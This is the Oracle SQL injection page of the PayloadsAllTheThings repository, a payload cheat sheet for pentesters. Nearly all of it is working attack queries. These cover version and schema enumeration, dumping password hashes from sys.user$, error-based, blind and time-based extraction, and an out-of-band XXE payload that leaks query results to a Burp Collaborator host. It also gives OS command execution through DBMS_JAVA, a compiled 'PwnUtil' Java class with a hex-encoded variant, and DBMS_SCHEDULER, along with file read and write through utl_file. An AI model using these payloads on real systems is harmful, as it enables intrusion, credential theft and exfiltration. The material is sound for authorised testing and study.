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PayloadsAllTheThings/SQL Injection/OracleSQL Injection.md

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Oracle SQL Injection

Oracle SQL Injection is a type of security vulnerability that arises when attackers can insert or "inject" malicious SQL code into SQL queries executed by Oracle Database. This can occur when user inputs are not properly sanitized or parameterized, allowing attackers to manipulate the query logic. This can lead to unauthorized access, data manipulation, and other severe security implications.

Summary

Oracle SQL Default Databases

Name Description
SYSTEM Available in all versions
SYSAUX Available in all versions

Oracle SQL Comments

Type Comment
Single-Line Comment --
Multi-Line Comment /**/

Oracle SQL Enumeration

Description SQL Query
DBMS version SELECT user FROM dual UNION SELECT * FROM v$version
DBMS version SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
DBMS version SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
DBMS version SELECT BANNER FROM gv$version WHERE ROWNUM = 1;
DBMS version SELECT version FROM v$instance;
Hostname SELECT UTL_INADDR.get_host_name FROM dual;
Hostname SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
Hostname SELECT UTL_INADDR.get_host_address FROM dual;
Hostname SELECT host_name FROM v$instance;
Database name SELECT global_name FROM global_name;
Database name SELECT name FROM V$DATABASE;
Database name SELECT instance_name FROM V$INSTANCE;
Database name SELECT SYS.DATABASE_NAME FROM DUAL;
Database name SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;

Oracle SQL Database Credentials

Query Description
SELECT username FROM all_users; Available on all versions
SELECT name, password from sys.user$; Privileged, <= 10g
SELECT name, spare4 from sys.user$; Privileged, <= 11g

Oracle SQL Methodology

Oracle SQL List Databases

SELECT DISTINCT owner FROM all_tables;
SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)

Oracle SQL List Tables

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='<DBNAME>'

Oracle SQL List Columns

SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' AND OWNER='<DBNAME>'

Oracle SQL Error Based

Description Query
Invalid HTTP Request SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
CTXSYS.DRITHSX.SN SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual
Invalid XPath SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual
Invalid XML SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual
Invalid XML SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users
SQL Error SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))
XDBURITYPE getblob XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()
XDBURITYPE getclob XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()
XMLType AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))||'~'||CHR(62))) FROM DUAL) -- -
DBMS_UTILITY AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'||(SELECT banner FROM v$version)||'~') -- -

When the injection point is inside a string use : '||PAYLOAD--

Oracle SQL Blind

Description Query
Version is 12.2 SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
Subselect is enabled SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
Table log_table exists SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
Column message exists in table log_table SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';
First letter of first message is t SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';

Oracle Blind With Substring Equivalent

Function Example
SUBSTR SUBSTR('foobar', <START>, <LENGTH>)

Oracle SQL Time Based

AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)

Oracle SQL Out of Band

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Oracle SQL Command Execution

Oracle Java Execution

  • List Java privileges

    select * from dba_java_policy
select * from user_java_policy

  • Grant privileges

    exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

  • Execute commands

    • 10g R2, 11g R1 and R2: DBMS_JAVA_TEST.FUNCALL()

      SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual

    • 11g R1 and R2: DBMS_JAVA.RUNJAVA()

      SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL

Oracle Java Class

  • Create Java class

    BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;

-- hex encoded payload
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual

  • Run OS command

    SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;

Package os_command

SELECT os_command.exec_clob('<COMMAND>') cmd from dual

DBMS_SCHEDULER Jobs

DBMS_SCHEDULER.CREATE_JOB (job_name => 'exec', job_type => 'EXECUTABLE', job_action => '<COMMAND>', enabled => TRUE)

OracleSQL File Manipulation

⚠️ Only in a stacked query.

OracleSQL Read File

utl_file.get_line(utl_file.fopen('/path/to/','file','R'), <buffer>)

OracleSQL Write File

utl_file.put_line(utl_file.fopen('/path/to/','file','R'), <buffer>)

References